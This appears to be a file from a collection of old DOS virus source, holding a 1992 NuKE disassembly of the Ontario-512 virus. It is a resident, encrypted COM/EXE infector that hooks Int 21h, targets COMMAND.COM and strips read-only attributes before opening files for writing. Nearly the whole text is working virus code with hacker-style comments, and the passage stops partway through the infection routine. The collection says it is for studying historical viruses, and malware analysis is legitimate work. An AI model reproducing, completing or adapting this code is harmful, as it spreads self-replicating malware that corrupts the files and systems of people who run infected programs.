ontar512.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* 
;-*                        Ontario-512 Virus                          *- 
;*-                       ~~~~~~~~~~~~~~~~~~~                         -* 
;-*  Disassmembly by: Rock Steady/NuKE                                *- 
;*-  ~~~~~~~~~~~~~~~~                                                 -* 
;-*  Notes: Resident EXE and COM infector, will infect COMMAND.COM    *- 
;*-  ~~~~~~ on execution. 512 bytes file increase, memory decrease    -* 
;-*         of about 2,048 bytes. Anti-debugging, encrypted virus.    *- 
;*-                                                                   -* 
;-* (c) Copy-Ya-Rite [NuKE] Viral Development Labs '92                *- 
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* 
virus       segment byte public                                          
            assume  cs:virus, ds:virus                                   
                                                                         
            org     100h                    ;Guess its a COM File huh?   
ont         proc    far                                                  
                                                                         
start:                                                                   
            jmp     go4it                   ;Jump to beginning of the    
            db      1Dh                     ;Virus And start!            
            db      'fected [NuKE]''92', 0Dh, 0Ah, '$'                   
            mov     dx,0102h        ;This is the small File the Virus    
            mov     ah,09h          ;is infected to! As you see it only  
            int     21h             ;displays that messages and exits    
            int     20h             ;Exit Command for COMs               
go4it:                                                                   
            nop                                                          
            call    decrypt         ;Get Decryption value & Decrypt viri 
            call    virus_start     ;Start the Virus!                    
ont         endp                                                         
                                                                         
;---------------------------------------------------------------------;  
;                   The Start of the Virus Code                       ;  
;---------------------------------------------------------------------;  
                                                                         
virus_start           proc    near                                       
            pop     bp                                                   
            sub     bp,7                                                 
            mov     ax,0FFFFh             ;Is Virus in Memory hooked on? 
            int     21h                     ;the Int 21h?                
            or      ah,ah                   ;                            
            jz      bye_bye                 ;Yes it is... Quit then...   
            push    ds                                                   
            xor     ax,ax                                                
            mov     ds,ax                                                
            sub     word ptr ds:413h,2                                   
            lds     bx,dword ptr ds:84h                                  
            mov     word ptr cs:[200h][bp],bx                            
            mov     word ptr cs:[202h][bp],ds                            
            mov     bx,es                                                
            dec     bx                                                   
            mov     ds,bx                                                
            sub     word ptr ds:3,80h                                    
            mov     ax,ds:12h                                            
            sub     ax,80h                                               
            mov     ds:12h,ax                                            
            mov     es,ax                                                
            push    cs                                                   
            pop     ds                                                   
            mov     si,bp                                                
            xor     di,di                                                
            mov     cx,204h                                              
            cld                                                          
            rep     movsb                                                
            mov     ds,cx                                                
            cli                             ;This is where we hook the   
            mov     word ptr ds:84h,7Fh     ;virus to the Int21h         
            mov     word ptr ds:84h+2,ax                                 
            sti                                                          
            mov     ax,4BFFh                                             
            int     21h                                                  
            pop     ds                                                   
            push    ds                                                   
            pop     es                                                   
bye_bye:                                                                 
            or      bp,bp                                                
            jz      what                                                 
            lea     si,[bp+7Bh]                                          
            nop                                                          
            mov     di,offset ds:[100h]                                  
            push    di                                                   
            cld                                                          
            movsw                                                        
            movsw                                                        
            retn                                                         
what:                                                                    
            mov     ax,es                                                
            add     cs:7dh,ax                                            
;*          jmp     far ptr go4it7                                       
virus_start           endp                                               
            db      0EAh,0EBh, 15h, 49h, 6Eh                             
            cmp     ax,0FFFFh                                            
            jne     new_21h                                              
            inc     ax                                                   
            iret                                                         
;---------------------------------------------------------------------;  
;                     Interrupt 21h handler                           ;  
;---------------------------------------------------------------------;  
new_21h:                                                                 
           cmp     ah,4Bh        ;Test, is File beginning Executed!      
           jne     leave_ok      ;Nope! Call Int21!                      
           cmp     al,3          ;Overlay, beginning execute?            
           je      leave_ok      ;Yes! Leave it alone                    
           cmp     al,0FFh       ;Virus testing to see if its alive?     
           jne     do_it_man     ;in memory?                             
           push    cs                                                    
           pop     ds                                                    
           mov     dx,1DDh                                               
           call    infect                                                
           iret                                                          
do_it_man:                                                               
           call    infect       ;Infect file dude...                     
leave_ok:                                                                
           jmp     dword ptr cs:[200h]  ;Int21 handler..                 
                                                                         
;---------------------------------------------------------------------;  
;              Infection Routine for the Ontario Virus                ;  
;---------------------------------------------------------------------;  
                                                                         
infect     proc    near                                                  
           push    es                                                    
           push    ds              ;Save them not to fuck things up..    
           push    dx                                                    
           push    cx                                                    
           push    bx                                                    
           push    ax                                                    
           mov     ax,4300h        ;Here we get the file attribute       
           call    int21           ;for file to be infected.             
           jc      outta           ;Bitch Error encountered. Quit!       
           test    cl,1            ;Test if its Read-Only!               
           jz      attrib_ok       ;Ok, it ain't Read-Only Continue!     
           and     cl,0FEh         ;Set Read-Only to normal Attribs      
           mov     ax,4301h        ;Call Ints to do it...                
           call    int21           ;Bingo! Done!                         
           jc      outta           ;Error encountered? Split if yes!     
attrib_ok:                                                               
           mov     ax,3D02h        ;Open file for Read/Write             
           call    int21           ;Call Interrupt to do it!             
           jnc     open_ok         ;no errors? Continue!                 
outta:                                                                   
           jmp     go4it5          ;Hey, Split Man... Errors happened!   
open_ok:                                                                 
           mov     bx,ax           ;BX=File Handle                       
           push    cs                                                    
           pop     ds                                                    
           mov     ax,5700h        ;Get File's Date & Time               
           call    int21           ;Do it!                               
           mov     word ptr ds:[204h],cx  ;Save Time                     
           mov     word ptr ds:[206h],dx  ;Save Date